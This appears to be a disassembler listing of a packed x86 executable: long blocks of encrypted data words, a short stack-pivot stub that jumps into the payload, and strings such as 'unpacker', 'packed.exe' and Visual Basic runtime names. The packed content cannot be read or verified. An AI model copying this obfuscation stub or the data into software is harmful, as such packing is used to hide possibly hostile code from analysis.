		dd 5A2EB9DDh, 0FF0B1D29h, 1CD3D2B5h, 0CBD823FAh, 1A649887h
		dd 39CC23FAh, 2F124A16h, 0E4195A5Eh, 18000000h,	0C0C59178h
		dd 0B7D639F0h, 0EE1F686Ch, 84CE80D5h, 5498BA9Dh, 695CD001h
		dd 2D1C60EAh, 1C15D8CBh, 10430B4Ah, 0B0F45AFBh,	71E3755Ch
		dd 4E7FCB88h, 0DA242C42h, 0F9DEB0F7h, 0CDB0F823h, 23F9DD9Dh
		dd 0CD6495A2h, 0D3173320h, 0DBED3780h, 0CEB0CE5h, 399CCDF4h
		dd 0C9131F31h, 26563981h, 2323FA62h, 94D0E516h,	192BE148h
		dd 78DBC20Ch, 42299FD2h, 0A4F73B13h, 51F95A73h,	0A7BAB25Fh
		dd 0BDBADEC2h, 116h, 85B8A0BAh,	3A6DE970h, 0EA1D2F25h
		dd 9ED183D5h, 4D80CA89h, 0A8ABB219h, 0FD5A6FA2h, 490D2255h
		dd 96BFD407h, 0B62085B8h, 1A3D3h, 0F3F4A824h, 0ECBD6678h
		dd 0C40E3393h, 4374BD91h, 0D721292Ah, 0A3E763F0h, 63A7A3B0h
		dd 32B3C710h, 0F1F81827h, 7085E819h, 0C03669E5h, 92D680D9h
		dd 0D98F0E3Fh, 9B8ED27Ch, 0EB6194BAh, 8E90C0A3h, 808D1C15h
		dd 252D434Fh, 0EB5FF4DBh, 0A92354A7h, 76DE7A61h, 8F19492Ch
		dd 9161C15h, 0F21AC3D8h, 0E22A23FFh, 10F55BFBh,	23FFF1E0h
		dd 0F1E717FAh, 0D7E423FFh, 9B326370h, 0F17AAA8Dh, 727F23FFh
		dd 63F2E529h, 0FF480E4Bh, 109EB7CCh, 76C90D49h,	42FAE92Dh
		dd 54340DC1h, 1045A2ADh, 0B598B99Eh, 33FD3A85h,	0EB347D8Ah
		dd 467659A1h, 4333FD3Bh, 8DA20536h, 4F4286C8h, 0FD074B09h
		dd 5500ED62h, 850C6F9h,	0FD3AF525h, 74DFA33h, 65AE0145h
		dd 143A1B34h, 10D3D0h, 95DD0000h, 0FD3A82B2h, 7CDA8733h
		dd 0DB5A8BD4h, 81D93A69h, 0B5A093D7h
		dd 0F4625599h, 3225185Ch, 6AE9DC20h, 0AAA99CE0h, 0EF695CA0h
		dd 262E2165h, 6AEFE226h, 536AA8ECh, 0C381E389h,	4, 8704EB83h
		dd 248B241Ch, 18EB6824h, 3C890000h, 5A0E6824h, 4890000h
		dd 65A46824h, 3C8B07EAh, 4C48124h, 68000000h, 392Bh, 83242489h
		dd 58042404h, 8EB95157h, 290C0330h, 5904244Ch, 8108408Fh
		dd 308E0840h, 48B0C03h,	0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598345
; ---------------------------------------------------------------------------
		dd 751CB825h, 0C50307EAh, 0F1BCE0FFh, 0F31E01FDh, 588B5843h
		dd 0C73D7D8Eh, 0D2023388h, 2FD30C7h, 6E7E2ECFh,	4EBD39A5h
		dd 39692618h, 61B50692h, 1F272840h, 1E5035A9h, 4960470Fh
		dd 7BE957F5h, 4B000001h, 0DD679C44h, 437C8360h,	5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 7 dup(0)
		dd 4DE90000h, 6800001Ch, 7EA797Dh, 0FA0692E9h, 7A5868FFh
		dd 88E907EAh, 68FFFA06h, 7EA7B90h, 0FA067EE9h, 7C4868FFh
		dd 74E907EAh, 68FFFA06h, 7EA7C87h, 0FA066AE9h, 7D4A68FFh
		dd 60E907EAh, 68FFFA06h, 7EA7DA7h, 0FA0656E9h, 7DF868FFh
		dd 4CE907EAh, 68FFFA06h, 7EA858Dh, 0FA0642E9h, 861E68FFh
		dd 38E907EAh, 68FFFA06h, 7EA86E1h, 0FA062EE9h, 87CC68FFh
		dd 24E907EAh, 68FFFA06h, 7EA885Eh, 0FA061AE9h, 892A68FFh
		dd 10E907EAh, 68FFFA06h, 7EA89B1h, 0FA0606E9h, 8A5468FFh
		dd 0FCE907EAh, 68FFFA05h, 7EA9044h, 0FA05F2E9h,	914F68FFh
		dd 0E8E907EAh, 68FFFA05h, 7EA9209h, 0FA05DEE9h,	7A9C74FFh
		dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
		dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0D8DCA320h
		dd 357A13A8h, 617956A6h, 6F7E5B29h, 42A00DF2h, 760C914h
		dd 733B5473h, 0B324A623h, 16A13A6h, 73D537C9h, 0A6B401F6h
		dd 0F964CD13h, 13A6B402h, 659DBB95h, 0FE1079CAh, 0A6B47A05h
		dd 0A8C09D13h, 0B3C8A270h, 0A6B44136h, 4BA40D13h, 5C557113h
		dd 0EAD78A30h, 0AAE69E75h, 798E0052h, 0C07C8E45h, 423C2791h
		dd 93ECD368h, 0FCA0E481h, 0D8776A03h, 38D4h, 0F492FD00h
		dd 0CAEDFF17h, 47A6E2C5h, 0E6C82063h, 0C09F3D8Dh, 0C7D974ACh
		dd 6CA66CE9h, 0B7413A6h, 0C4A341D3h, 0DAA59EB0h, 7113A66Eh
		dd 87782460h, 50D87743h, 0C1h, 61795679h, 0B8359729h, 1442A0C3h
		dd 0FA14268Fh, 0E88F0C1Fh, 661442A0h, 7E9271FDh, 5937D525h
		dd 0D96B3143h, 0E465E3Bh, 6A476173h, 6F4C1A52h,	61CEC357h
		dd 0EE1442A4h, 20587650h, 7C597385h, 0DDBAD064h, 0D9B68DC5h
		dd 0E0885D5h, 5413A6B0h, 51F390E4h, 477609DBh, 68D33394h
		dd 21B50EFEh, 0D1218D02h, 40D95B54h, 5EAE1714h,	35C9E5C0h
		dd 29B7E95Bh, 70516C82h, 4D69445Eh, 34C08FF9h, 34BAFA62h
		dd 196Ah, 45D9FBD3h, 0A236562Fh, 296B08Ch, 65F90DECh, 0C458744Fh
		dd 714C05EBh, 0D1ABC155h, 2B091FB3h, 8E6B8115h,	7F2FE276h
		dd 0A8D97D02h, 594D913h, 0CB5F7B56h, 2CC0D8B5h,	19F4925Bh
		dd 182AC5FDh, 0C4149AF5h, 0CDE9C462h, 0EFE8FA95h, 13A6A939h
		dd 0A9568EF7h, 13A6A9D6h, 0AA852375h, 0A7DF7C8Eh, 780808F7h
		dd 0C3CDD8h, 56F60000h,	5B296179h, 9A2C6480h, 0A0C4BB38h
		dd 29921442h, 0A5111E17h, 25021442h, 8663790Dh,	305F366Eh
		dd 1E566E4Bh, 0C1B63383h, 8D1442A5h, 0FE7BCB24h, 13A6B104h
		dd 2E4DE14Ah, 80FD4D61h, 14405F20h, 0A1B79533h,	0F747B08Fh
		dd 542D8059h, 0EBC9DB34h, 0F70DEB89h, 0D4F0CBE5h, 2C4F2A40h
		dd 0A8F1A6A0h, 0DD318A24h, 6234DAB5h, 8F22A8E8h, 0AE000018h
		dd 0A20B4D6h, 677D1131h, 0C7DD718Bh, 2A40D4E8h,	0C69F334Fh
		dd 304C2720h, 8EAC869Ch, 0F006E4FAh, 5169465Ch,	0DD5A0ABDh
		dd 13A8DA26h, 92E06FB4h, 6B2D5E20h, 0AB15758Fh,	6D49D592h
		dd 4C274153h, 0A9869C30h, 62DF4191h, 1442FD9Dh,	9CBED039h
		dd 2E7956CBh, 0A280255h, 85DE79B1h, 93A27F4Dh, 0C4FC1CF5h
		dd 0A039BE29h, 2C951442h, 0BE583D3h, 0DFB9DBEDh, 0E705DF7Dh
		dd 42A0877Ch, 5EEA5314h, 96316981h, 802E6184h, 86FDB330h
		dd 4BBB13A6h, 3A05AC76h, 0B3EB44BDh, 0A6817506h, 85C1D213h
		dd 0F774D6h, 0CE13A681h, 87785365h, 50D877FCh, 0C4h, 7FC14579h
		dd 0B04E9E10h, 0E984BCD2h, 0AE7CF9D7h, 7C13A68Ch, 7C1A0A13h
		dd 21FA86A0h, 0D7F6EF01h, 9CC73C2Bh, 300221FEh,	38BA2D1Dh
		dd 0B583BB14h, 5668C1D7h, 461F5C33h, 0FA53EE26h, 0B0132DAAh
		dd 0E141CFD8h, 20F29F64h, 0D2100F0h, 0C2FA53BCh, 2AD4BE30h
		dd 0A5B11349h, 981F7093h, 2060641Bh, 0C4D8B7F0h, 61B10A73h
		dd 0C7D0BCE4h, 0A5F55EF7h, 7E122A07h, 1F738B68h, 85B64C7Dh
		dd 576EF434h, 0E6000017h, 4258EC0Eh, 9FB54969h,	0FF15A9C3h
		dd 62780C20h, 0FED76B87h, 68845FF8h, 0C6E4BED4h, 283E1C32h
		dd 89A17E94h, 159242F5h, 13A8DB6Eh, 5618A7ECh, 52296179h
		dd 0A421713Dh, 13A686EEh, 0DEAF43ACh, 107FC145h, 4EEC4E9Eh
		dd 2F492572h, 1DCBC4D6h, 0CB13A68Ch, 8C09EE6Bh,	49C613A6h
		dd 13A68CB2h, 0FD66B720h, 19909BA4h, 15948E76h,	0E22017Ah
		dd 0A10365B5h, 4F875F24h, 8092FB9Bh, 0ABA6B587h, 20FE9C9Ch
		dd 0E9E19613h, 46D82B3h, 51BA99ABh, 614D4219h, 594C9411h
		dd 0A50E8554h, 7855F355h, 7B8D2860h, 0D86C8461h, 79CDE5C2h
		dd 0D327C22Dh, 9FD25898h, 9E000016h, 0FA10A4C6h, 576D0121h
		dd 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h, 7E9C768Ch
		dd 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A8DC36h, 56D05FA4h
		dd 0A30D6179h, 367200BCh, 166070F6h, 5DD0000h, 60394FE3h
		dd 0BA96AC40h, 17F60CA0h, 7E596F03h, 0FF5CE62h,	0CB5F7B56h
		dd 29BDDBB5h, 8B1F3513h, 0EC809875h, 770C8939h,	0E313A8DCh
		dd 30920F9Eh, 0F1C87CBEh, 0E44FC66Dh, 1442681Fh, 264052BBh
		dd 67F93149h, 0C7A3EAC9h, 0EFC854ADh, 0EAFC97CFh, 96E6C8C7h
		dd 0A6684F19h, 0E3A51513h, 3BD42656h, 0C33C720h, 1EFC9A8Bh
		dd 0A9E1F7D5h, 80A3B50Eh, 0D24F9F0Fh, 1442F604h, 0C5935D3h
		dd 84BC1531h, 2F6289E9h, 3C8C626Dh, 0D9E24B2Ah,	22EB7FCEh
		dd 0CEE0AF87h, 2A3F017Eh, 7915BFD7h, 0B04B839Dh, 47481F57h
		dd 469A1767h, 14A7F0DCh, 0E0BD5BABh, 411E34C8h,	3EE5D529h
		dd 0C808B5C3h, 159D42h,	0A6C8A000h, 323FC12h, 637D596Fh
		dd 0C6DAB9CFh, 25411C32h, 1932B891h, 788E223Eh,	0D6EC809Eh
		dd 384EE2F8h, 0FCAF435Bh, 0DD28CF4Ch, 61A613A8h, 0A08077D2h
		dd 0ED4F1442h, 42A08B70h, 0CCDE4714h, 42B028D3h, 0A0F38C14h
		dd 0BA451442h, 0DD144280h, 3094E800h, 0D172009Ch, 15400B91h
		dd 25FD0000h, 80596F03h, 0DAB6CC60h, 37162CC0h,	9E798F23h
		dd 0EF15EE82h, 0EB7F9B76h, 49DDFBD5h, 0AB3F5533h, 0CA0B895h
		dd 572CA959h, 313A8DDh,	30922FBEh, 42A0CCB3h, 0F218A14h
		dd 0BB0BA3ECh, 0A6B8103Eh, 155BE13h, 6A1CA3CDh,	0EF820848h
		dd 4E000014h, 0AAC05476h, 71DB1D1h, 677D112Bh, 0CAE07488h
		dd 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah,	0F109E6FCh
		dd 7DFAAA5Dh, 13A8DD86h, 92800F54h, 0A0CCB330h,	218A1442h
		dd 0A0AF54D1h, 0C22B1442h, 0A1B996B0h, 0F265D769h, 96AA893Dh
		dd 8D63C35Eh, 0FCF353D4h, 5341DBE8h, 0EECBE5F7h, 9D5A9ED6h
		dd 864AB5E9h, 278BE05Bh, 0B4000000h, 42A08477h,	23320F14h
		dd 42A0D1A6h, 0C4147D14h, 42A0B047h, 5CB51E14h,	2557D3C8h
		dd 0E51D1419h, 145D5Fh,	0F492EE00h, 0D0EAFC1Ah,	0CCA3DBF3h
		dd 399BEBC3h, 0A0A55AD7h, 1BF61442h, 3345AEFFh,	0A6B4D83Ah
		dd 0A93DA613h, 0FD95DCFh, 0F6C9DE8Ch, 0E0CEC1E4h, 0B1902E90h
		dd 0B8CA659Dh, 420885BFh, 0AAE24B14h, 52E600DCh, 8A16A35Dh
		dd 0FD1DF61Bh, 277A5369h, 81EFC4Dh, 50DC35D0h, 841F5777h
		dd 4C25F32Bh, 4926F42Ch, 4F2BF931h, 6F46FD35h, 0B67F7B37h
		dd 8FB68F8Eh, 6B39C622h, 0F084DD4Bh, 93F1E619h,	286EFD0h
		dd 4D180000h, 0BA1C6C42h, 16283E1Ch, 0A6B38B1Dh, 0FC79D913h
		dd 13A6B407h, 3F5D37D3h, 87558DE6h, 0E4FA8EAEh,	0DA03E40Bh
		dd 4B8BC3C4h, 720DBAF2h, 9213A64Fh, 0C224570Fh,	0A7AFBE45h
		dd 0A1B31C13h, 7C5BAE87h, 5C7B0F68h, 0AE2B7B33h
		dd 1443B300h, 0DFADE54Eh, 3E54E804h, 620F4763h,	1B8B8C9Bh
		dd 0CB0323FCh, 0D00820FDh, 0C8B7EF6Ch, 0FE99D1EDh, 0C38306A5h
		dd 0D165815Ch, 81D1DDB2h, 3F58AD1Fh, 0B4D391ABh, 0EE89C1D5h
		dd 348A8395h, 221C6FCBh, 0D6B381B9h, 0DE502ABEh, 383C9487h
		dd 849EB01Bh, 687E5CA7h, 0E05DBF0Fh, 3EFA21Bh, 763C4EB7h
		dd 0EFA232C9h, 97CF5203h, 4F6B46E4h, 2E46233Dh,	78FF7CDEh
		dd 0D603EFA2h, 0EE02E16Dh, 0E7091BB6h, 43E1F8D1h, 1CE34E66h
		dd 0BA03EFA2h, 0A226DD5Ah, 4BB403EFh, 0AB4999F2h, 0DDA3B5CFh
		dd 7E3360Fh, 8E5C94EDh,	905E96B4h, 5E25A2B5h, 0FC03EFA2h
		dd 0C4023A93h, 93104BFBh, 3EFA2ECh, 0ACA8016Ah,	0B2B04A2h
		dd 892638D3h, 0BF3C9EDDh, 3EFA238h, 11B2D96h, 9D740828h
		dd 0C8AF0F62h, 0AE55D234h, 0F103EFAEh, 2BC6FE12h, 34526ADAh
		dd 9E7A601Fh, 0BE943345h, 0B4000000h, 0E8203A16h, 56663B4Dh
		dd 59275F7Bh, 0EC2A627Eh, 21FC6323h, 80D9F9D2h,	9ED6BE30h
		dd 1B36854Bh, 0EF10E709h, 0E8E05B38h, 91h, 23209211h, 0AD895C86h
		dd 38152F41h, 1B87F019h, 62BBD585h, 677F5C2Ah, 6B85612Fh
		dd 6E8A6533h, 0FCA87F36h, 10AEB8B4h, 49E41C32h,	0AFEA9A37h
		dd 0C1E3211h, 0ADFD15F2h, 5429CE4Bh, 0BC961442h, 0AC04E130h
		dd 0FA0C75C6h, 0CFFE01D8h, 3ED7E05Bh, 0
		dd 0F24B2092h, 70456884h, 5A543B5Eh, 24378D0Ah,	0B42613A6h
		dd 94C99968h, 3514264Eh, 14E794CCh, 0B313A678h,	45BAE2A2h
		dd 53D87745h, 0B48FD6B5h, 6CC56098h, 0E8879934h, 84h, 6C424D11h
		dd 0BEFD9F1Ch, 2A9313A6h, 2B4B24F2h, 421FBD97h,	25FE182Ah
		dd 26FFCD05h, 0C790CE06h, 0A7C7A09Fh, 0BCDDB957h, 93ED6F7Ch
		dd 0DC146DAAh, 360D2F41h, 0D8779BC9h, 410Eh, 484D3700h
		dd 16B41666h, 18112337h, 6BBD5F83h, 781666CFh, 0B24D8599h
		dd 522DDAA0h, 0DC9442A1h, 334726C4h, 99C08421h,	0D0DE8927h
		dd 99ABAF0Bh, 3F8F1F76h, 0BDBEDDC2h, 7C1079EBh,	7AEh, 4D9E3D00h
		dd 2D000000h, 28607A56h, 1161815Ah, 0FB3DC49Fh,	3A2E803Fh
		dd 7E3696ECh, 0B6D8EA8Eh, 8FA0C7A0h, 0B733C826h, 5B326AC3h
		dd 7C038037h, 0DA144233h, 33E01871h, 0EBBDCCB7h, 0CD4AACFEh
		dd 14423336h, 8C293BA4h, 7E5BA4D8h, 837CE05Bh, 0A500000Bh
		dd 1969454Dh, 0A0453AB7h, 0A1111442h, 9704C8C9h, 34469FA2h
		dd 0DF6ADC6Eh, 8D03AC3Eh, 0D450495Bh, 979DE984h, 619EDE86h
		dd 7656B0D8h, 39h, 69454D9Fh, 82A27B19h, 6E159270h, 0EC1442A0h
		dd 0B6953383h, 1DCA90A2h, 0BD316DC4h, 0C69F3D8Fh, 6E4D32AFh
		dd 0A009BD31h, 62740F47h, 22DD81C5h, 0B336E843h, 298h
		dd 15F492DCh, 4F34B101h, 0B1442A0h, 256D90A2h, 0BD9B3989h
		dd 0C2D46FA7h, 920AC1EDh, 0C6FE18F4h, 22FF192Bh, 0F2D9C30Ah
		dd 0CCB33092h, 8B1442A0h, 42A0690Eh, 2B7CE514h,	3D5D36C2h
		dd 0E5DF502Bh, 4B18E55Fh, 41000000h, 2269454Dh,	0ABE3092h
		dd 5A7A5306h, 4E005AFAh, 0DCB9433Ch, 0AE171442h, 5EFCEC5Eh
		dd 6E7307CDh, 0A23D7595h, 0CADEBD49h, 10E5F792h, 7A563992h
		dd 52701960h, 0E94B30E0h, 485A1788h, 549E73h, 86240000h
		dd 0BA558DADh, 2092D3A8h, 658A1451h, 10ED7943h,	0CFC3E6F8h
		dd 12F18FDFh, 192BC6FEh, 18F49244h, 7ED7EDCBh, 411FAB46h
		dd 0BE3B192Bh, 1442A03Ch, 0A81A6A51h, 0D54B0902h, 84596B80h
		dd 7A563992h, 0F4921960h, 28C3FB1Bh, 7FAFF6C8h,	30426644h
		dd 99771B30h, 6826CBD9h, 0D9F28906h, 0F76026CBh, 0D4F0CBE5h
		dd 24D2A40h, 39D40C26h,	0E8C3BFE0h, 0D80A7CCCh,	0A672E523h
		dd 0BD162A09h, 53D5331h, 0EA9586Ah, 9F7CE3A3h, 75527E87h
		dd 0DE7C3C5Dh, 0ABD6E802h, 187AF8BBh, 0CBE0E49Bh, 0F7097226h
		dd 0D16F2A5Ah, 9A4DCF4h, 0E800DDF7h, 0EFFF2698h, 0EE28644h
		dd 5C3965FCh, 1592F444h, 26CB916Eh, 0C27183ECh,	0C3BDEBC6h
		dd 9126CB91h, 16C0728h,	0DEFDDA45h, 0C1EDA738h,	39429BE0h
		dd 0DE16320Dh, 56856FFh, 0E703DE41h, 51BF997h, 0FE2032CDh
		dd 0D2F30BE8h, 4AE8FBD6h, 831E566Ch, 0C5867871h, 0E34C26CBh
		dd 43B5EDC2h, 7A6354E4h, 8E6C3926h, 0DBBC7EDEh,	5D09A6B8h
		dd 9DED05E2h, 0D20A22FFh, 153CC340h, 319A26CBh,	576F4CD8h
		dd 20BEAE45h, 0FC162846h, 0D9E6071Fh, 0A0E42598h, 0BFC8E0BDh
		dd 4E9EB693h, 0A5B7D7B0h, 31C436F6h, 0C05FB226h, 0BC97B1C3h
		dd 71EE50A0h, 26CBF48Ah, 1ECDDF48h, 0F16C1883h,	0CDECC914h
		dd 97B0841Dh, 459EF7F8h, 7956553Ch, 0AC11A61h, 0CCB33092h
		dd 8A1442A0h, 0A9EC0F21h, 86DFF3D2h, 95F2D93Fh,	0E55FE59Ah
		dd 465Bh, 30928400h, 2F9AB892h,	1442A048h, 6AA583F7h, 1C6DE299h
		dd 177EA1B3h, 15925097h, 1442A06Bh, 923980E9h, 5D7D5639h
		dd 105B9B0Dh, 6D69598Ah, 0D6E808E1h, 925B7001h,	0A0CCB330h
		dd 218A1442h, 263D0Fh, 4DCC0000h, 3D573348h, 1DF694E4h
		dd 4B30ADFDh, 71442A0h,	92B78C9Eh, 42A06B15h, 7AC1A814h
		dd 7D563992h, 5B70165Dh, 42B1AF77h, 1296D14h, 0B8FFFFFDh
		dd 42A08477h, 0D2AD4B14h, 0D1E37EB6h, 7ACAE4AEh, 663C5D08h
		dd 74863ABAh, 13603C52h, 8CC41D37h, 428118DFh, 8BBB9214h
		dd 0A9EB894h, 67FB1BF4h, 29614D48h, 14D2CE7Ch, 6C846156h
		dd 6E8C6634h, 1155D236h, 4CF80961h, 7C906F0Dh, 0A8708F6Ah
		dd 0FA659E05h, 85000001h, 0DCEE0EE7h, 0A0857707h, 88071442h
		dd 0B59D626h, 0D913A682h, 0EAC6DC70h, 0F1CA98D0h, 690799D1h
		dd 4761738Dh, 3F164E6Eh, 0AC0E5E50h, 5286E53Ah,	0CEE0B33Ch
		dd 4207FFD5h, 7F1D7D14h, 0B44F87A5h, 8A77B249h,	5EB7201Bh
		dd 37E5CE0Ah, 951B5B62h, 0D5Ah,	55E90BE3h, 0B246663Fh
		dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh,	0E1BBD165h
		dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8256D12h,	15A4E913h
		dd 552E7956h, 962FD35h,	1995FAD1h, 0E8F567C9h, 87F9CBD3h
		dd 0D8847D8Fh, 7A13A877h, 0C15FC111h, 395CDE3h,	0A9B7F186h
		dd 9BF45D13h, 79936F89h, 0D9F3CFE5h, 0DEF6D3A1h, 0EEC0CFA6h
		dd 0ACDF219Eh, 476144Dh, 57629261h, 4ECB1B38h, 1B8D33A9h
		dd 0CBAABC25h, 29D40E62h, 29696231h, 0CC9A3h, 7A9C7400h
		dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
		dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 26DCA320h
		dd 357A13A8h, 617956A6h, 713D5229h, 0B316A421h,	0DB4413A6h
		dd 3D1D198Bh, 0CEF43E48h, 0A7849ABCh, 5330835Ch, 0FAAE23Bh
		dd 870466B6h, 13A68DF0h, 0C1E3F55Eh, 71C1EDA2h,	0A4DCF8D3h
		dd 9C19F709h, 144CFACDh, 46E4349Dh, 27DC596Ah, 0B31B8C05h
		dd 835DF14Ah, 30E809E5h, 0FFD6F9C6h, 9C376FC8h,	7A94708Ah
		dd 3712B042h, 6A41E31Bh, 8FEFE574h, 344E60B9h, 30073F57h
		dd 61FF4F5Fh, 9A356D83h, 81A300Eh, 9B53AD2Ah, 98011C68h
		dd 4E80A844h, 0E369A95Ah, 0C06h, 0A93D5F37h, 69ABA93h
		dd 66FA14F0h, 0C95D7150h, 28BCD8B3h, 0D5B0A94Fh, 350F25B9h
		dd 8F6D8317h, 0F2CFE579h, 0E39346DAh, 0A8269166h, 69F83D13h
		dd 29617956h, 21713D52h, 0A68E22A4h, 73077013h,	0D064845Dh
		dd 0B291DEBAh, 0D7B1459Eh, 34465A39h, 120925Fh,	6CD23A04h
		dd 7E113446h, 8563E030h, 5313A660h, 8220B2EAh, 847D8FA3h
		dd 13A7A6FBh, 54073F50h, 74FAB7E2h, 495B9373h, 7703916Eh
		dd 0AD46D8h, 566F0000h,	334F2A7Dh, 7210A2DAh, 536D7F93h
		dd 54225A7Ah, 36542E75h, 0A5B75CFEh, 0C6BAF668h, 52C4146Dh
		dd 793D62A0h, 0F87FFCCBh, 56144278h, 0BC8294EDh, 61F515EEh
		dd 0C20BE987h, 0F792CAE8h, 6BCB669Eh, 4959E38Ah, 0C6E9FBD8h
		dd 0F795E5C9h, 13F10319h, 0A6CDA496h, 0ED41AA13h, 6A1C4B09h
		dd 1B961C5Ch, 2200000Bh, 7E94284Ah, 0DBF185A5h,	3B51E5FFh
		dd 9EB4485Ch, 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh
		dd 0C5DDBAD0h, 51CE7E31h, 13A827AAh, 5654E328h,	0EFC95D7Dh
		dd 9995A67Dh, 0B2C49B92h, 80E0h, 0EFC86600h, 92E8BDCFh
		dd 0D6CF9D20h, 0ABBDDB11h, 6098B891h, 0B63C5CCEh, 0A3FB80FDh
		dd 0EE571442h, 63C5478Eh, 4D612E51h, 6B815FFDh,	0A8869833h
		dd 0C4C7D446h, 9F43968h, 0B8A8FEF7h, 0AA613A6h,	3FDA1230h
		dd 9D6E92E6h, 0CB0B6A1Ch, 0A8945h, 0BADCB400h, 17371026h
		dd 77916D83h, 0DAEECDE3h, 39553046h, 2D26CCA5h,	8CA23652h
		dd 0EA0094B2h, 4C62F60Ch, 10C3576Fh, 281CE360h,	75BA13A8h
		dd 617956E6h, 667E5B29h, 4EECEA2Eh, 2E4C2671h, 7E26C3D5h
		dd 5C1DC13Eh, 21A16E0h,	923F0000h, 0B8FE7F20h, 0EAC65C89h
		dd 0A4FD98D0h, 0D1576792h, 245EE9BEh, 0D3978129h, 0FFAD2A7Ah
		dd 0AD13A6FAh, 7A56F444h, 7B8D2860h
		dd 0AB85D9E4h, 840BE031h, 2B5DDA2Ah, 0B9E8DAF6h, 0E8861850h
		dd 0CCE0BF0Ch, 68A0F994h, 4C6441CDh, 3678173Ah,	793169E6h
		dd 7AE310C5h, 97AF8C2Ah, 846ED547h, 0B6EE0AE5h,	0F717BB1Bh
		dd 43597B8Dh, 73304766h, 69F4FBB7h, 144EBC10h, 0FF3F66B8h
		dd 9BD79h, 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh
		dd 521FC12h, 0F9529871h, 586E021Eh, 0B6CC607Eh,	182EC2D8h
		dd 0DC8F233Bh, 29C8AF2Ch, 418613A8h, 5D7D56B2h,	6D414E25h
		dd 0D633A01Dh, 0F65F13A8h, 30C744A6h, 6313A8D7h, 0B0196A8Ah
		dd 4822C09Eh, 0A680962Ah, 29617755h, 26FD358Eh,	78F54569h
		dd 144CE4DEh, 112D08A4h, 0ECCA68B8h, 0F1039ED6h, 7D9B7513h
		dd 0DBF9D3E9h, 0E0F8D5A3h, 3211888Ch, 53D91962h, 936h
		dd 790D2F07h, 0D66A8A63h, 36CAE4C0h, 992D4120h,	0F88CA883h
		dd 0A580D91Fh, 5DFF589h, 5F3D53E7h, 0C29FB549h,	0B36316AAh
		dd 0A8294136h, 39C80D13h, 1D9AFCC6h, 1442A066h,	0CBBD84F4h
		dd 0E9446DBEh, 0F6857E90h, 401442EEh, 0BB9A3D69h, 0EC8ADAD4h
		dd 23BEF610h, 9CB63311h, 0E213A6DDh, 451F6846h,	2575CE27h
		dd 0FD91AB87h, 0BF44C123h, 1B13A622h, 127DA0B2h, 0FACF4C9Ch
		dd 781440F9h, 57EC4E08h, 0B009FB5Bh, 0CDE5C260h, 0E4C15F39h
		dd 4DA6BA99h, 0F944213Bh, 55A9021Eh, 623506C9h,	9326ACECh
		dd 0AA000008h, 61CB0D2h, 63790D2Dh, 0C3D96D87h,	263CD0E4h
		dd 0C29B2F4Bh, 2C48233Ch, 8AA88298h, 0EC02E0F6h, 4D654258h
		dd 0D95606B9h, 13A82A22h, 77DC6BB0h, 1442A084h,	861A320Fh
		dd 36862867h, 0A6EF21B9h, 0FDD67413h, 5CB5CDAAh, 98778924h
		dd 0AC0521FCh, 0CAE0BE5Ch, 0E501DC7Ah, 0DE0012ADh, 5E25A204h
		dd 0FC13A6F0h, 89678193h, 23B53B73h, 44000008h,	0F965424Dh
		dd 0EC33BCD8h, 850252ABh, 13A69257h, 0EA4C9C05h, 0A693966Dh
		dd 0C9DB4413h, 93A55603h, 112213A6h, 0DED62955h, 1CFFD877h
		dd 28000001h, 12627856h, 48809674h, 7D59BADh, 0E303DC2Dh
		dd 7FB710ABh, 84BCD4B1h, 2EC2D8B6h, 0EC243A18h,	0E3337B15h
		dd 42A0A966h, 0D40C7514h, 1F1E461Dh, 41AF841h, 44D831CCh
		dd 23A502Eh, 42A05255h,	82E4FC14h, 42A17E05h, 6173DC14h
		dd 0BF9D80C4h, 9AF615A9h, 52C414h, 7D9371D4h, 9B4AAA45h
		dd 3788287Bh, 0D35631D1h, 0D8A687Ah, 1442367Eh,	57754FEDh
		dd 0C5FD6645h, 6BFF1DF7h, 716F391h, 4236F58Ah, 9FF86114h
		dd 7B99738Dh, 4D987543h, 85205870h, 0AC051BF9h,	98DFBE5Ch
		dd 1149A2BCh, 0E79E6476h, 0FE95410h, 6D475DF1h,	4F40174Fh
		dd 0F0920F5Fh, 7E13A62Ah, 0C563C515h, 9D62CDEBh, 2A13A612h
		dd 8E9F29Ch, 0ED89DA06h, 8FA1FA0Eh, 5F7D576Dh, 6E405027h
		dd 82D6A11Eh, 137C13A6h, 194D24DBh, 20FB4C26h, 0D831CC04h
		dd 36542E44h, 466827FEh, 0B30F79F6h, 64D61442h,	9BD72916h
		dd 58374990h, 90C8DEBCh, 0F2089CF5h, 5066FA18h,	6E0C5C72h
		dd 0A43F7793h, 4D9F7092h, 8C3C6542h, 0D59CD7FFh, 55AF2C7Ch
		dd 1B13A691h, 76E87AB2h, 92A93AC4h, 0B8D2E41Fh,	5A2BBFDFh
		dd 1762092h, 374CD9AFh,	1B930225h, 604536E3h, 0F1021442h
		dd 8E6806B5h, 8B9D3870h, 5B514FB0h, 2488E0h, 56B10000h
		dd 78255D7Dh, 1442A083h, 6910542Bh, 9ED6EECBh, 0FED7F103h
		dd 0EE554ADEh, 64144285h, 0FFFFB720h, 7956AFFFh, 0A016ED6Ah
